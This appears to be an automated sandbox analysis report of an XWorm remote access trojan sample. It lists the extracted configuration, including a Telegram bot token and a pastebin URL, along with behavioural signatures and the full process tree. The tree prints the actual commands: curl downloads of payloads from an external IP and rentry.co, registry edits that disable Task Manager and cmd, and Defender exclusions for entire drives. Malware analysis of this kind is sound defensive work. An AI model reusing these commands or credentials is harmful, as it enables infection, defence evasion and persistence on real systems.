Analysis

  • max time kernel
    146s
  • max time network
    151s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240508-en
  • resource tags

    arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    17/06/2024, 17:18

General

  • Target
    payload.exe
  • Size 93KB
  • Sample240617-vvjdxa1dpr
  • SHA256 66c074f64035764781f045e27bd7c2c0d4615ebd60b8f2d3ee02d96555ed8dc5
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • xworm

Attributes
  • Install_directory

    %ProgramData%

  • install_file

    winlogon.exe

  • pastebin_url

    https://pastebin.com/raw/kTrgfRNT

  • telegram

    https://api.telegram.org/bot6820329388:AAG0ljIyZ1Cj86n9cgzLGNBMldBe9TtqhAM/sendMessage?chat_id=1330099235

Signatures

  • Detect Xworm Payload 2 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Disables Task Manager via registry modification
  • Disables cmd.exe use via registry modification 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 4 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 17 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 48 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\payload.exe
    "C:\Users\Admin\AppData\Local\Temp\payload.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1652
    • C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\7A9E.tmp\7A9F.tmp\7AA0.bat C:\Users\Admin\AppData\Local\Temp\payload.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3004
      • C:\Windows\system32\PING.EXE
        ping 8.8.8.8 -n 1
        3⤵
        • Runs ping.exe
        PID:3596
      • C:\Windows\system32\curl.exe
        curl -s -o u32y.bat https://rentry.co/i7zgdqy6/raw/
        3⤵
          PID:2908
        • C:\Windows\system32\reg.exe
          reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /f /v DisableTaskMgr /t REG_DWORD /d 00000001
          3⤵
          • Modifies registry key
          PID:3208
        • C:\Windows\system32\reg.exe
          reg add "HKCU\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 2 /f
          3⤵
            PID:1564
          • C:\Windows\system32\reg.exe
            reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanel" /t REG_DWORD /d 1 /f
            3⤵
              PID:5076
            • C:\Windows\system32\reg.exe
              reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanelNamespace" /t REG_DWORD /d 1 /f
              3⤵
                PID:1304
              • C:\Windows\system32\reg.exe
                reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableCMD" /t REG_DWORD /d 1 /f
                3⤵
                • Disables cmd.exe use via registry modification
                PID:4492
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -Command "Disable-ComputerRestore -Drive 'C:'; Enable-ComputerRestore -Drive 'C:'"
                3⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4920
              • C:\Windows\system32\ReAgentc.exe
                reagentc.exe /disable
                3⤵
                • Drops file in System32 directory
                • Drops file in Windows directory
                PID:3012
              • C:\Windows\system32\attrib.exe
                attrib +h ssh
                3⤵
                • Drops file in Windows directory
                • Views/modifies file attributes
                PID:3900
              • C:\Windows\system32\curl.exe
                curl -s -o C:\Users\Admin\AppData\Local\Temp\lsass.exe "http://185.254.97.190:2024/download/ey341.exe"
                3⤵
                  PID:4112
                • C:\Windows\appcompat\ssh\lsass.exe
                  lsass.exe
                  3⤵
                  • Executes dropped EXE
                  • Adds Run key to start application
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of SetWindowsHookEx
                  • Suspicious use of WriteProcessMemory
                  PID:3608
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\appcompat\ssh\lsass.exe'
                    4⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1168
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'lsass.exe'
                    4⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4892
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\winlogon.exe'
                    4⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1604
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'winlogon.exe'
                    4⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4820
                  • C:\Windows\System32\schtasks.exe
                    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "winlogon" /tr "C:\ProgramData\winlogon.exe"
                    4⤵
                    • Creates scheduled task(s)
                    PID:4444
                • C:\Windows\system32\net.exe
                  net session
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3952
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 session
                    4⤵
                      PID:3160
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'"
                    3⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1132
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'F:\'"
                    3⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1432
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
                    3⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1324
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'"
                    3⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:720
              • C:\Windows\system32\vssvc.exe
                C:\Windows\system32\vssvc.exe
                1⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:4412
              • C:\ProgramData\winlogon.exe
                C:\ProgramData\winlogon.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:2196
              • C:\ProgramData\winlogon.exe
                C:\ProgramData\winlogon.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:4500
              • C:\ProgramData\winlogon.exe
                C:\ProgramData\winlogon.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:1236

              Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    powershell.exe.log

                    • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                    • Size 2KB
                    • SHA256 43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59
                    • MD5 SHA1 SHA512

                    winlogon.exe.log

                    • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\winlogon.exe.log
                    • Size 654B
                    • SHA256 e31b18f21621d9983bfdf1ea3e53884a9d58b8ffd79e0e5790da6f3a81a8b9d3
                    • MD5 SHA1 SHA512

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 944B
                    • SHA256 03b321e48ff3328d9c230308914961fe110c4c7bc96c0a85a296745437bcb888
                    • MD5 SHA1 SHA512

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 64B
                    • SHA256 83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391
                    • MD5 SHA1 SHA512

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 944B
                    • SHA256 e97f54e5237ffeca4c9a6454f73690b98ac33e03c201f9f7e465394ecbc3ea38
                    • MD5 SHA1 SHA512

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 944B
                    • SHA256 3c46703036811ffa65154f16ee7e323b11be85a9f4724d013ac9965d70676713
                    • MD5 SHA1 SHA512

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 944B
                    • SHA256 e81cbecfdbc457b5d8aad1fbd1dc29ab05e6425e9921bff30089f074ddfc6961
                    • MD5 SHA1 SHA512

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 944B
                    • SHA256 d0856ea99d7069a23c3efaf5f476dc747aa95ade755589d4930baece4eed255f
                    • MD5 SHA1 SHA512

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 944B
                    • SHA256 cd5480d72c1a359e83f7d6b6d7d21e1be2463f2c6718385cc6c393c88323b272
                    • MD5 SHA1 SHA512

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 944B
                    • SHA256 53e1f031082bd3478bb72bf1ebadf49c2dec6ab3daf7d85bb763ea78a1258676
                    • MD5 SHA1 SHA512

                    7AA0.bat

                    • Path C:\Users\Admin\AppData\Local\Temp\7A9E.tmp\7A9F.tmp\7AA0.bat
                    • Size 4KB
                    • SHA256 9805230af504f6f4476cb70a190644128b999ae04c0264250b5e6ac2f8ba80a0
                    • MD5 SHA1 SHA512 SSDEEP

                    __PSScriptPolicyTest_vndsrkzh.1vm.ps1

                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vndsrkzh.1vm.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512

                    lsass.exe

                    • Path C:\Users\Admin\AppData\Local\Temp\lsass.exe
                    • Size 64KB
                    • SHA256 de4d28dd8c9208fe86dec1e014913f3cfefdcadf73a7adb6eb062677f5f5772f
                    • MD5 SHA1 SHA512 SSDEEP

                    u32y.bat

                    • Path C:\Users\Admin\AppData\Local\Temp\u32y.bat
                    • Size 168B
                    • SHA256 3325291808e23914cef7f3b5c34924070b561abaa3adf68b6f91d18d5f234cb0
                    • MD5 SHA1 SHA512

                    memory/3608-22-0x0000000000E30000-0x0000000000E46000-memory.dmp

                    memory/3608-108-0x000000001BBF0000-0x000000001BBFC000-memory.dmp

                    memory/3608-109-0x000000001E000000-0x000000001E036000-memory.dmp

                    memory/4920-9-0x00000229E1C80000-0x00000229E1CA2000-memory.dmp